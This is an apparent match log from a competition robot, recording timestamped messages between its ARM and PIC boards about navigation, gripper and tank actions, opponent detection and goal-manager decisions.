l(['116.16','ARM',GoldBarDetection(status = 0)])
l(['116.16','PIC',GoldBarDetection(status = 1)])
l(['116.16','ARM','# Poping sub-state GetGoldBarStatus'])
l(['116.16','ARM','# Returned from substate'])
l(['116.16','ARM','# Goldbar was present'])
l(['116.16','ARM','# Pushing sub-state TrajectoryWalk'])
l(['116.16','ARM','# Pushing sub-state Gripper'])
l(['116.16','ARM',GripperControl(move = 1, which = 3)])
l(['116.38','PIC',KeepAlive(current_pose = Pose(1.41211938858, 1.90555226803, -3.12105822563), match_started = True, match_time = 36290)])
l(['116.38','ARM',KeepAlive(current_pose = Pose(1.41211938858, 1.90555226803, -3.12105822563), match_started = True, match_time = 36290)])
l(['116.63','PIC',KeepAlive(current_pose = Pose(1.41212284565, 1.90555202961, -3.12108492851), match_started = True, match_time = 36540)])
l(['116.63','ARM',KeepAlive(current_pose = Pose(1.41212284565, 1.90555202961, -3.12108492851), match_started = True, match_time = 36540)])
l(['116.70','PIC',GripperControl(move = 1, which = 3)])
l(['116.70','ARM','# Poping sub-state Gripper'])
l(['116.70','ARM',Goto(movement = 0, direction = 1, angle = -3.10756990726, points = [])])
l(['116.73','PIC',GotoStarted()])
l(['116.76','PIC',GotoFinished(reason = 0, current_pose = Pose(1.41216695309, 1.90555262566, -3.12220835686), current_point_index = 1)])
l(['116.77','ARM',Goto(movement = 2, direction = 1, angle = None, points = [Pose(1.249, 1.9, None)])])
l(['116.81','PIC',GotoStarted()])
l(['116.88','PIC',KeepAlive(current_pose = Pose(1.41133141518, 1.90553629398, -3.12226200104), match_started = True, match_time = 36790)])
l(['116.88','ARM',KeepAlive(current_pose = Pose(1.41133141518, 1.90553629398, -3.12226200104), match_started = True, match_time = 36790)])
l(['117.13','PIC',KeepAlive(current_pose = Pose(1.37957799435, 1.9047088623, -3.10560464859), match_started = True, match_time = 37040)])
l(['117.13','ARM',KeepAlive(current_pose = Pose(1.37957799435, 1.9047088623, -3.10560464859), match_started = True, match_time = 37040)])
l(['117.38','PIC',KeepAlive(current_pose = Pose(1.31791174412, 1.90193498135, -3.0968079567), match_started = True, match_time = 37290)])
l(['117.38','ARM',KeepAlive(current_pose = Pose(1.31791174412, 1.90193498135, -3.0968079567), match_started = True, match_time = 37290)])
l(['117.63','PIC',KeepAlive(current_pose = Pose(1.29722821712, 1.90112447739, -3.12827777863), match_started = True, match_time = 37540)])
l(['117.63','ARM',KeepAlive(current_pose = Pose(1.29722821712, 1.90112447739, -3.12827777863), match_started = True, match_time = 37540)])
l(['117.88','PIC',KeepAlive(current_pose = Pose(1.29722821712, 1.90112447739, -3.12827777863), match_started = True, match_time = 37790)])
l(['117.88','ARM',KeepAlive(current_pose = Pose(1.29722821712, 1.90112447739, -3.12827777863), match_started = True, match_time = 37790)])
l(['118.13','PIC',KeepAlive(current_pose = Pose(1.29723441601, 1.90112447739, -3.12822437286), match_started = True, match_time = 38040)])
l(['118.13','ARM',KeepAlive(current_pose = Pose(1.29723441601, 1.90112447739, -3.12822437286), match_started = True, match_time = 38040)])
l(['118.31','PIC',GotoFinished(reason = 0, current_pose = Pose(1.29722201824, 1.90112447739, -3.12827777863), current_point_index = 1)])
l(['118.31','ARM','# Pushing sub-state Gripper'])
l(['118.31','ARM',GripperControl(move = 0, which = 3)])
l(['118.38','PIC',KeepAlive(current_pose = Pose(1.29723453522, 1.9011245966, -3.12827777863), match_started = True, match_time = 38290)])
l(['118.38','ARM',KeepAlive(current_pose = Pose(1.29723453522, 1.9011245966, -3.12827777863), match_started = True, match_time = 38290)])
l(['118.63','PIC',KeepAlive(current_pose = Pose(1.29725658894, 1.90112495422, -3.12835788727), match_started = True, match_time = 38540)])
l(['118.63','ARM',KeepAlive(current_pose = Pose(1.29725658894, 1.90112495422, -3.12835788727), match_started = True, match_time = 38540)])
l(['118.76','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['118.88','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['118.88','PIC',KeepAlive(current_pose = Pose(1.29726290703, 1.90112507343, -3.12841153145), match_started = True, match_time = 38790)])
l(['118.88','ARM',KeepAlive(current_pose = Pose(1.29726290703, 1.90112507343, -3.12841153145), match_started = True, match_time = 38790)])
l(['119.00','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['119.12','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['119.13','PIC',KeepAlive(current_pose = Pose(1.2972599268, 1.90112519264, -3.12849164009), match_started = True, match_time = 39040)])
l(['119.13','ARM',KeepAlive(current_pose = Pose(1.2972599268, 1.90112519264, -3.12849164009), match_started = True, match_time = 39040)])
l(['119.14','PIC',GripperControl(move = 0, which = 3)])
l(['119.14','ARM','# Poping sub-state Gripper'])
l(['119.14','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.414, 1.9, None)])])
l(['119.14','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['119.18','PIC',GotoStarted()])
l(['119.24','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['119.25','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['119.26','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['119.36','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['119.37','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['119.38','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['119.38','PIC',KeepAlive(current_pose = Pose(1.30494070053, 1.90119552612, -3.13803625107), match_started = True, match_time = 39290)])
l(['119.38','ARM',KeepAlive(current_pose = Pose(1.30494070053, 1.90119552612, -3.13803625107), match_started = True, match_time = 39290)])
l(['119.48','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['119.49','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['119.50','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['119.60','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['119.61','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['119.62','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['119.63','PIC',KeepAlive(current_pose = Pose(1.34113562107, 1.90085852146, 3.12579107285), match_started = True, match_time = 39540)])
l(['119.63','ARM',KeepAlive(current_pose = Pose(1.34113562107, 1.90085852146, 3.12579107285), match_started = True, match_time = 39540)])
l(['119.72','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['119.73','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['119.74','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['119.84','PIC',TurretDetect(distance = 1, angle = 17, robot = 0)])
l(['119.85','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['119.88','PIC',KeepAlive(current_pose = Pose(1.38190829754, 1.90020418167, 3.12547016144), match_started = True, match_time = 39790)])
l(['119.88','ARM',KeepAlive(current_pose = Pose(1.38190829754, 1.90020418167, 3.12547016144), match_started = True, match_time = 39790)])
l(['119.97','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['120.09','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['120.13','PIC',KeepAlive(current_pose = Pose(1.41036450863, 1.899741292, 3.1264064312), match_started = True, match_time = 40040)])
l(['120.13','ARM',KeepAlive(current_pose = Pose(1.41036450863, 1.899741292, 3.1264064312), match_started = True, match_time = 40040)])
l(['120.15','PIC',GotoFinished(reason = 0, current_pose = Pose(1.41174662113, 1.89972043037, 3.12662053108), current_point_index = 1)])
l(['120.15','ARM','# Poping sub-state TrajectoryWalk'])
l(['120.15','ARM','# Returned from substate'])
l(['120.15','ARM','# Goal done : SELF_SOUTH'])
l(['120.15','ARM','# Poping sub-state DetectAndTakeGoldbar'])
l(['120.15','ARM','# Poping sub-state TakeGoldBar'])
l(['120.15','ARM','# Switching to state FindNextGoal'])
l(['120.15','ARM','# Calling GoalManager'])
l(['120.15','ARM','# Evaluate goal DEPOSIT_2'])
l(['120.15','ARM','# Evaluate goal DEPOSIT_3'])
l(['120.15','ARM','# Evaluate goal DEPOSIT_4'])
l(['120.15','ARM','# Goal DEPOSIT_4 nav cost = 23.4852790833'])
l(['120.15','ARM','# Goal DEPOSIT_2 nav cost = 24.3137054443'])
l(['120.16','ARM','# Goal DEPOSIT_3 nav cost = 26.7279186249'])
l(['120.16','ARM','# Goals by score : [\'DEPOSIT_2:2.0\', \'DEPOSIT_3:5.0\', \'DEPOSIT_4:2.0\']'])
l(['120.16','ARM','# Best goal is DEPOSIT_2 with score 2.0'])
l(['120.16','ARM','# Next goal is DEPOSIT_2'])
l(['120.16','ARM','# Time taken for decision taking 4.48300000001 ms'])
l(['120.16','ARM','# Pushing sub-state Navigate'])
l(['120.16','ARM','# Compute route from (1.41174662113, 1.89972043037) to (0.9, 2.55)'])
l(['120.31','ARM','# Route computed. Length: 0.905048072991, Cost: 0.905048072991'])
l(['120.31','ARM','# Pushing sub-state Sequence'])
l(['120.31','ARM','# Pushing sub-state Antiblocking'])
l(['120.31','ARM',EnableAntiBlocking()])
l(['120.31','PIC',TurretDetect(distance = 1, angle = 16, robot = 0)])
l(['120.31','PIC',EnableAntiBlocking()])
l(['120.31','ARM','# Poping sub-state Antiblocking'])
l(['120.31','ARM','# Pushing sub-state TrajectoryWalk'])
l(['120.31','ARM',Goto(movement = 0, direction = 1, angle = 1.72918232159, points = [])])
l(['120.35','PIC',GotoStarted()])
l(['120.38','PIC',KeepAlive(current_pose = Pose(1.41389846802, 1.89968824387, 3.12595176697), match_started = True, match_time = 40290)])
l(['120.38','ARM',KeepAlive(current_pose = Pose(1.41389846802, 1.89968824387, 3.12595176697), match_started = True, match_time = 40290)])
l(['120.58','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['120.63','PIC',KeepAlive(current_pose = Pose(1.41352152824, 1.89969909191, 3.02857542038), match_started = True, match_time = 40540)])
l(['120.63','ARM',KeepAlive(current_pose = Pose(1.41352152824, 1.89969909191, 3.02857542038), match_started = True, match_time = 40540)])
l(['120.70','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['120.82','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['120.83','PIC',TurretDetect(distance = 1, angle = 14, robot = 0)])
l(['120.88','PIC',KeepAlive(current_pose = Pose(1.41501021385, 1.8992459774, 2.58904623985), match_started = True, match_time = 40790)])
l(['120.88','ARM',KeepAlive(current_pose = Pose(1.41501021385, 1.8992459774, 2.58904623985), match_started = True, match_time = 40790)])
l(['120.94','PIC',TurretDetect(distance = 1, angle = 15, robot = 0)])
l(['121.08','PIC',TurretDetect(distance = 1, angle = 13, robot = 0)])
l(['121.13','PIC',KeepAlive(current_pose = Pose(1.41611933708, 1.8981730938, 2.0848941803), match_started = True, match_time = 41040)])
l(['121.13','ARM',KeepAlive(current_pose = Pose(1.41611933708, 1.8981730938, 2.0848941803), match_started = True, match_time = 41040)])
l(['121.38','PIC',KeepAlive(current_pose = Pose(1.41642820835, 1.89758718014, 1.80057322979), match_started = True, match_time = 41290)])
l(['121.38','ARM',KeepAlive(current_pose = Pose(1.41642820835, 1.89758718014, 1.80057322979), match_started = True, match_time = 41290)])
l(['121.43','PIC',GotoFinished(reason = 0, current_pose = Pose(1.41643762589, 1.89754426479, 1.7669917345), current_point_index = 1)])
l(['121.43','ARM',Goto(movement = 2, direction = 1, angle = None, points = [Pose(1.355, 2.255, None)])])
l(['121.47','PIC',GotoStarted()])
l(['121.51','PIC',TurretDetect(distance = 1, angle = 12, robot = 0)])
l(['121.63','PIC',KeepAlive(current_pose = Pose(1.41516208649, 1.90471088886, 1.74963963032), match_started = True, match_time = 41540)])
l(['121.63','ARM',KeepAlive(current_pose = Pose(1.41516208649, 1.90471088886, 1.74963963032), match_started = True, match_time = 41540)])
l(['121.68','PIC',TurretDetect(distance = 1, angle = 13, robot = 0)])
l(['121.88','PIC',KeepAlive(current_pose = Pose(1.40535402298, 1.96452450752, 1.70391952991), match_started = True, match_time = 41790)])
l(['121.88','ARM',KeepAlive(current_pose = Pose(1.40535402298, 1.96452450752, 1.70391952991), match_started = True, match_time = 41790)])
l(['122.13','PIC',KeepAlive(current_pose = Pose(1.3899576664, 2.06221318245, 1.7589443922), match_started = True, match_time = 42040)])
l(['122.13','ARM',KeepAlive(current_pose = Pose(1.3899576664, 2.06221318245, 1.7589443922), match_started = True, match_time = 42040)])
l(['122.16','PIC',TurretDetect(distance = 1, angle = 13, robot = 0)])
l(['122.35','PIC',TurretDetect(distance = 1, angle = 12, robot = 0)])
l(['122.38','PIC',KeepAlive(current_pose = Pose(1.36884379387, 2.17201256752, 1.73910534382), match_started = True, match_time = 42290)])
l(['122.38','ARM',KeepAlive(current_pose = Pose(1.36884379387, 2.17201256752, 1.73910534382), match_started = True, match_time = 42290)])
l(['122.63','PIC',KeepAlive(current_pose = Pose(1.35910463333, 2.22914385796, 1.74525475502), match_started = True, match_time = 42540)])
l(['122.63','ARM',KeepAlive(current_pose = Pose(1.35910463333, 2.22914385796, 1.74525475502), match_started = True, match_time = 42540)])
l(['122.81','PIC',GotoFinished(reason = 0, current_pose = Pose(1.35506808758, 2.25223588943, 1.74231410027), current_point_index = 1)])
l(['122.81','ARM',Goto(movement = 0, direction = 1, angle = 2.6388081775, points = [])])
l(['122.84','PIC',GotoStarted()])
l(['122.88','PIC',KeepAlive(current_pose = Pose(1.35467231274, 2.25452661514, 1.73905217648), match_started = True, match_time = 42790)])
l(['122.88','ARM',KeepAlive(current_pose = Pose(1.35467231274, 2.25452661514, 1.73905217648), match_started = True, match_time = 42790)])
l(['123.13','PIC',KeepAlive(current_pose = Pose(1.35443377495, 2.25534963608, 1.9078425169), match_started = True, match_time = 43040)])
l(['123.13','ARM',KeepAlive(current_pose = Pose(1.35443377495, 2.25534963608, 1.9078425169), match_started = True, match_time = 43040)])
l(['123.36','PIC',TurretDetect(distance = 1, angle = 13, robot = 0)])
l(['123.38','PIC',KeepAlive(current_pose = Pose(1.35353314877, 2.25695014, 2.26547622681), match_started = True, match_time = 43290)])
l(['123.38','ARM',KeepAlive(current_pose = Pose(1.35353314877, 2.25695014, 2.26547622681), match_started = True, match_time = 43290)])
l(['123.63','PIC',KeepAlive(current_pose = Pose(1.35293793678, 2.25747156143, 2.58137273788), match_started = True, match_time = 43540)])
l(['123.63','ARM',KeepAlive(current_pose = Pose(1.35293793678, 2.25747156143, 2.58137273788), match_started = True, match_time = 43540)])
l(['123.71','PIC',TurretDetect(distance = 1, angle = 14, robot = 0)])
l(['123.73','PIC',GotoFinished(reason = 0, current_pose = Pose(1.35320556164, 2.25731921196, 2.65260004997), current_point_index = 1)])
l(['123.73','ARM',Goto(movement = 2, direction = 1, angle = None, points = [Pose(1.05, 2.42, None)])])
l(['123.77','PIC',GotoStarted()])
l(['123.83','PIC',TurretDetect(distance = 1, angle = 14, robot = 0)])
l(['123.88','PIC',KeepAlive(current_pose = Pose(1.35058259964, 2.25868916512, 2.65634322166), match_started = True, match_time = 43790)])
l(['123.88','ARM',KeepAlive(current_pose = Pose(1.35058259964, 2.25868916512, 2.65634322166), match_started = True, match_time = 43790)])
l(['124.13','PIC',KeepAlive(current_pose = Pose(1.30712020397, 2.2818748951, 2.65484666824), match_started = True, match_time = 44040)])
l(['124.13','ARM',KeepAlive(current_pose = Pose(1.30712020397, 2.2818748951, 2.65484666824), match_started = True, match_time = 44040)])
l(['124.38','PIC',KeepAlive(current_pose = Pose(1.21444070339, 2.33092808723, 2.6540453434), match_started = True, match_time = 44290)])
l(['124.38','ARM',KeepAlive(current_pose = Pose(1.21444070339, 2.33092808723, 2.6540453434), match_started = True, match_time = 44290)])
l(['124.63','PIC',KeepAlive(current_pose = Pose(1.12041902542, 2.38129520416, 2.64832353592), match_started = True, match_time = 44540)])
l(['124.63','ARM',KeepAlive(current_pose = Pose(1.12041902542, 2.38129520416, 2.64832353592), match_started = True, match_time = 44540)])
l(['124.88','PIC',KeepAlive(current_pose = Pose(1.07206988335, 2.40719413757, 2.64990115166), match_started = True, match_time = 44790)])
l(['124.88','ARM',KeepAlive(current_pose = Pose(1.07206988335, 2.40719413757, 2.64990115166), match_started = True, match_time = 44790)])
l(['125.06','PIC',GotoFinished(reason = 0, current_pose = Pose(1.05147612095, 2.41822981834, 2.64784216881), current_point_index = 1)])
l(['125.06','ARM',Goto(movement = 0, direction = 1, angle = 2.4256543115, points = [])])
l(['125.09','PIC',GotoStarted()])
l(['125.13','PIC',KeepAlive(current_pose = Pose(1.04915261269, 2.41948080063, 2.64522218704), match_started = True, match_time = 45040)])
l(['125.13','ARM',KeepAlive(current_pose = Pose(1.04915261269, 2.41948080063, 2.64522218704), match_started = True, match_time = 45040)])
l(['125.38','PIC',KeepAlive(current_pose = Pose(1.04970395565, 2.41916632652, 2.55308628082), match_started = True, match_time = 45290)])
l(['125.38','ARM',KeepAlive(current_pose = Pose(1.04970395565, 2.41916632652, 2.55308628082), match_started = True, match_time = 45290)])
l(['125.60','PIC',GotoFinished(reason = 0, current_pose = Pose(1.04973077774, 2.41912865639, 2.43827772141), current_point_index = 1)])
l(['125.60','ARM',Goto(movement = 2, direction = 1, angle = None, points = [Pose(0.9, 2.55, None)])])
l(['125.65','PIC',GotoStarted()])
l(['125.69','PIC',KeepAlive(current_pose = Pose(1.04969739914, 2.41915726662, 2.42330503464), match_started = True, match_time = 45563)])
l(['125.69','ARM',KeepAlive(current_pose = Pose(1.04969739914, 2.41915726662, 2.42330503464), match_started = True, match_time = 45563)])
l(['125.88','PIC',KeepAlive(current_pose = Pose(1.03750514984, 2.42964410782, 2.43279647827), match_started = True, match_time = 45790)])
l(['126.13','PIC',KeepAlive(current_pose = Pose(0.986136376858, 2.47427105904, 2.4226899147), match_started = True, match_time = 46040)])
l(['126.13','ARM',KeepAlive(current_pose = Pose(0.986136376858, 2.47427105904, 2.4226899147), match_started = True, match_time = 46040)])
l(['126.38','PIC',KeepAlive(current_pose = Pose(0.935941398144, 2.51813173294, 2.42504310608), match_started = True, match_time = 46290)])
l(['126.38','ARM',KeepAlive(current_pose = Pose(0.935941398144, 2.51813173294, 2.42504310608), match_started = True, match_time = 46290)])
l(['126.63','PIC',KeepAlive(current_pose = Pose(0.907537102699, 2.54279994965, 2.42608642578), match_started = True, match_time = 46540)])
l(['126.63','ARM',KeepAlive(current_pose = Pose(0.907537102699, 2.54279994965, 2.42608642578), match_started = True, match_time = 46540)])
l(['126.72','PIC',GotoFinished(reason = 0, current_pose = Pose(0.901697039604, 2.54788517952, 2.42482972145), current_point_index = 1)])
l(['126.72','ARM','# Poping sub-state TrajectoryWalk'])
l(['126.72','ARM','# Pushing sub-state Antiblocking'])
l(['126.72','ARM',DisableAntiBlocking()])
l(['126.72','PIC',DisableAntiBlocking()])
l(['126.72','ARM','# Poping sub-state Antiblocking'])
l(['126.72','ARM','# Poping sub-state Sequence'])
l(['126.72','ARM','# Poping sub-state Navigate'])
l(['126.72','ARM','# Pushing sub-state DepositTreasure'])
l(['126.72','ARM','# Pushing sub-state TrajectoryWalk'])
l(['126.72','ARM',Goto(movement = 0, direction = 1, angle = 1.57079632679, points = [])])
l(['126.75','PIC',GotoStarted()])
l(['126.88','PIC',KeepAlive(current_pose = Pose(0.899797260761, 2.54953050613, 2.39750480652), match_started = True, match_time = 46790)])
l(['126.88','ARM',KeepAlive(current_pose = Pose(0.899797260761, 2.54953050613, 2.39750480652), match_started = True, match_time = 46790)])
l(['127.13','PIC',KeepAlive(current_pose = Pose(0.899896383286, 2.54950118065, 2.15826225281), match_started = True, match_time = 47040)])
l(['127.13','ARM',KeepAlive(current_pose = Pose(0.899896383286, 2.54950118065, 2.15826225281), match_started = True, match_time = 47040)])
l(['127.38','PIC',KeepAlive(current_pose = Pose(0.900171399117, 2.54895091057, 1.82610964775), match_started = True, match_time = 47290)])
l(['127.38','ARM',KeepAlive(current_pose = Pose(0.900171399117, 2.54895091057, 1.82610964775), match_started = True, match_time = 47290)])
l(['127.63','PIC',KeepAlive(current_pose = Pose(0.9002815485, 2.54830169678, 1.59055685997), match_started = True, match_time = 47540)])
l(['127.63','ARM',KeepAlive(current_pose = Pose(0.9002815485, 2.54830169678, 1.59055685997), match_started = True, match_time = 47540)])
l(['127.65','PIC',GotoFinished(reason = 0, current_pose = Pose(0.900283277035, 2.54818534851, 1.57887279987), current_point_index = 1)])
l(['127.65','ARM','# Pushing sub-state Gripper'])
l(['127.65','ARM',GripperControl(move = 1, which = 3)])
l(['127.88','PIC',KeepAlive(current_pose = Pose(0.900286972523, 2.54808521271, 1.56390011311), match_started = True, match_time = 47790)])
l(['127.88','ARM',KeepAlive(current_pose = Pose(0.900286972523, 2.54808521271, 1.56390011311), match_started = True, match_time = 47790)])
l(['128.13','PIC',KeepAlive(current_pose = Pose(0.900287151337, 2.54811286926, 1.56419408321), match_started = True, match_time = 48040)])
l(['128.13','ARM',KeepAlive(current_pose = Pose(0.900287151337, 2.54811286926, 1.56419408321), match_started = True, match_time = 48040)])
l(['128.38','PIC',KeepAlive(current_pose = Pose(0.900286316872, 2.54798722267, 1.5646750927), match_started = True, match_time = 48290)])
l(['128.38','ARM',KeepAlive(current_pose = Pose(0.900286316872, 2.54798722267, 1.5646750927), match_started = True, match_time = 48290)])
l(['128.46','PIC',GripperControl(move = 1, which = 3)])
l(['128.46','ARM','# Poping sub-state Gripper'])
l(['128.46','ARM','# Pushing sub-state EmptyTank'])
l(['128.46','ARM',EmptyTankControl(move = 1)])
l(['128.63','PIC',KeepAlive(current_pose = Pose(0.900285184383, 2.54772901535, 1.56654703617), match_started = True, match_time = 48540)])
l(['128.63','ARM',KeepAlive(current_pose = Pose(0.900285184383, 2.54772901535, 1.56654703617), match_started = True, match_time = 48540)])
l(['128.68','PIC',EmptyTankControl(move = 1)])
l(['128.68','ARM','# Poping sub-state EmptyTank'])
l(['128.68','ARM','# Pushing sub-state EmptyTank'])
l(['128.68','ARM',EmptyTankControl(move = 0)])
l(['128.87','PIC',EmptyTankControl(move = 0)])
l(['128.87','ARM','# Poping sub-state EmptyTank'])
l(['128.87','ARM','# Pushing sub-state EmptyTank'])
l(['128.87','ARM',EmptyTankControl(move = 1)])
l(['128.88','PIC',KeepAlive(current_pose = Pose(0.900285482407, 2.54783248901, 1.56716191769), match_started = True, match_time = 48790)])
l(['128.88','ARM',KeepAlive(current_pose = Pose(0.900285482407, 2.54783248901, 1.56716191769), match_started = True, match_time = 48790)])
l(['129.09','PIC',EmptyTankControl(move = 1)])
l(['129.09','ARM','# Poping sub-state EmptyTank'])
l(['129.09','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(0.899740322241, 2.39783347968, None)])])
l(['129.14','PIC',GotoStarted()])
l(['129.17','PIC',KeepAlive(current_pose = Pose(0.900283873081, 2.54742431641, 1.56807076931), match_started = True, match_time = 49045)])
l(['129.17','ARM',KeepAlive(current_pose = Pose(0.900283873081, 2.54742431641, 1.56807076931), match_started = True, match_time = 49045)])
l(['129.38','PIC',KeepAlive(current_pose = Pose(0.900207817554, 2.53253626823, 1.56275033951), match_started = True, match_time = 49290)])
l(['129.38','ARM',KeepAlive(current_pose = Pose(0.900207817554, 2.53253626823, 1.56275033951), match_started = True, match_time = 49290)])
l(['129.63','PIC',KeepAlive(current_pose = Pose(0.899627864361, 2.47615385056, 1.55932819843), match_started = True, match_time = 49540)])
l(['129.63','ARM',KeepAlive(current_pose = Pose(0.899627864361, 2.47615385056, 1.55932819843), match_started = True, match_time = 49540)])
l(['129.88','PIC',KeepAlive(current_pose = Pose(0.899210870266, 2.428784132, 1.56368660927), match_started = True, match_time = 49790)])
l(['129.88','ARM',KeepAlive(current_pose = Pose(0.899210870266, 2.428784132, 1.56368660927), match_started = True, match_time = 49790)])
l(['130.13','PIC',GotoFinished(reason = 0, current_pose = Pose(0.899066090584, 2.40040683746, 1.56916761398), current_point_index = 1)])
l(['130.13','ARM','# Pushing sub-state EmptyTank'])
l(['130.13','ARM',EmptyTankControl(move = 0)])
l(['130.13','PIC',KeepAlive(current_pose = Pose(0.899066090584, 2.40040683746, 1.56916761398), match_started = True, match_time = 50040)])
l(['130.13','ARM',KeepAlive(current_pose = Pose(0.899066090584, 2.40040683746, 1.56916761398), match_started = True, match_time = 50040)])
l(['130.29','PIC',EmptyTankControl(move = 0)])
l(['130.29','ARM','# Poping sub-state EmptyTank'])
l(['130.29','ARM','# Pushing sub-state Gripper'])
l(['130.29','ARM',GripperControl(move = 0, which = 3)])
l(['130.38','PIC',KeepAlive(current_pose = Pose(0.899063050747, 2.39860343933, 1.5706114769), match_started = True, match_time = 50290)])
l(['130.38','ARM',KeepAlive(current_pose = Pose(0.899063050747, 2.39860343933, 1.5706114769), match_started = True, match_time = 50290)])
l(['130.63','PIC',KeepAlive(current_pose = Pose(0.899063050747, 2.39860606194, 1.57026362419), match_started = True, match_time = 50540)])
l(['130.63','ARM',KeepAlive(current_pose = Pose(0.899063050747, 2.39860606194, 1.57026362419), match_started = True, match_time = 50540)])
l(['130.88','PIC',KeepAlive(current_pose = Pose(0.899062991142, 2.39851212502, 1.56988942623), match_started = True, match_time = 50790)])
l(['130.88','ARM',KeepAlive(current_pose = Pose(0.899062991142, 2.39851212502, 1.56988942623), match_started = True, match_time = 50790)])
l(['131.02','PIC',GripperControl(move = 0, which = 3)])
l(['131.02','ARM','# Poping sub-state Gripper'])
l(['131.02','ARM','# Poping sub-state TrajectoryWalk'])
l(['131.02','ARM',EmptyTankControl(move = 0)])
l(['131.02','ARM','# Goal done : DEPOSIT_2'])
l(['131.02','ARM','# Poping sub-state DepositTreasure'])
l(['131.02','ARM','# Switching to state FindNextGoal'])
l(['131.02','ARM','# Calling GoalManager'])
l(['131.02','ARM','# Evaluate goal OTHER_NORTH'])
l(['131.03','ARM','# Evaluate goal OTHER_NORTH'])
l(['131.03','ARM','# Evaluate goal OTHER_SOUTH'])
l(['131.03','ARM','# Evaluate goal OTHER_SOUTH'])
l(['131.03','ARM','# Goal OTHER_NORTH nav cost = 31.6568546295'])
l(['131.03','ARM','# Goal OTHER_SOUTH nav cost = 37.0710678101'])
l(['131.03','ARM','# Goal OTHER_NORTH nav cost = 43.6568565369'])
l(['131.03','ARM','# Goal OTHER_SOUTH nav cost = 49.0710678101'])
l(['131.03','ARM','# Goals by score : [\'OTHER_NORTH:0.0\', \'OTHER_NORTH:5.0\', \'OTHER_SOUTH:4.0\', \'OTHER_SOUTH:9.0\']'])
l(['131.03','ARM','# Best goal is OTHER_NORTH with score 0.0'])
l(['131.03','ARM','# Next goal is OTHER_NORTH'])
l(['131.03','ARM','# Time taken for decision taking 6.76200000001 ms'])
l(['131.03','ARM','# Pushing sub-state Navigate'])
l(['131.03','ARM','# Compute route from (0.899062991142, 2.39851212502) to (0.586, 1.34)'])
l(['131.22','ARM','# Route computed. Length: 1.20869420421, Cost: 1.20869420421'])
l(['131.22','ARM','# Pushing sub-state Sequence'])
l(['131.22','ARM','# Pushing sub-state Antiblocking'])
l(['131.22','ARM',EnableAntiBlocking()])
l(['131.23','PIC',EmptyTankControl(move = 0)])
l(['131.23','PIC',KeepAlive(current_pose = Pose(0.899063050747, 2.39865970612, 1.57034432888), match_started = True, match_time = 51040)])
l(['131.23','ARM',KeepAlive(current_pose = Pose(0.899063050747, 2.39865970612, 1.57034432888), match_started = True, match_time = 51040)])
l(['131.23','PIC',EnableAntiBlocking()])
l(['131.23','ARM','# Poping sub-state Antiblocking'])
l(['131.23','ARM','# Pushing sub-state TrajectoryWalk'])
l(['131.23','ARM',Goto(movement = 0, direction = 1, angle = 0.514626851421, points = [])])
l(['131.27','PIC',GotoStarted()])
l(['131.38','PIC',KeepAlive(current_pose = Pose(0.899064898491, 2.39898562431, 1.56061196327), match_started = True, match_time = 51290)])
l(['131.63','PIC',KeepAlive(current_pose = Pose(0.899025976658, 2.39864325523, 1.38847982883), match_started = True, match_time = 51540)])
l(['131.63','ARM',KeepAlive(current_pose = Pose(0.899025976658, 2.39864325523, 1.38847982883), match_started = True, match_time = 51540)])
l(['131.88','PIC',KeepAlive(current_pose = Pose(0.898878872395, 2.39816951752, 1.04782438278), match_started = True, match_time = 51790)])
l(['131.88','ARM',KeepAlive(current_pose = Pose(0.898878872395, 2.39816951752, 1.04782438278), match_started = True, match_time = 51790)])
l(['132.13','PIC',KeepAlive(current_pose = Pose(0.897838950157, 2.39702749252, 0.704361498356), match_started = True, match_time = 52040)])
l(['132.13','ARM',KeepAlive(current_pose = Pose(0.897838950157, 2.39702749252, 0.704361498356), match_started = True, match_time = 52040)])
l(['132.31','PIC',GotoFinished(reason = 0, current_pose = Pose(0.897447526455, 2.396723032, 0.538485407829), current_point_index = 1)])
l(['132.31','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(0.645, 2.255, None)])])
l(['132.34','PIC',GotoStarted()])
l(['132.38','PIC',KeepAlive(current_pose = Pose(0.897300720215, 2.39663815498, 0.511801898479), match_started = True, match_time = 52290)])
l(['132.38','ARM',KeepAlive(current_pose = Pose(0.897300720215, 2.39663815498, 0.511801898479), match_started = True, match_time = 52290)])
l(['132.63','PIC',KeepAlive(current_pose = Pose(0.874308049679, 2.38372516632, 0.508112370968), match_started = True, match_time = 52540)])
l(['132.63','ARM',KeepAlive(current_pose = Pose(0.874308049679, 2.38372516632, 0.508112370968), match_started = True, match_time = 52540)])
l(['132.88','PIC',KeepAlive(current_pose = Pose(0.798035144806, 2.34145212173, 0.509288728237), match_started = True, match_time = 52790)])
l(['132.88','ARM',KeepAlive(current_pose = Pose(0.798035144806, 2.34145212173, 0.509288728237), match_started = True, match_time = 52790)])
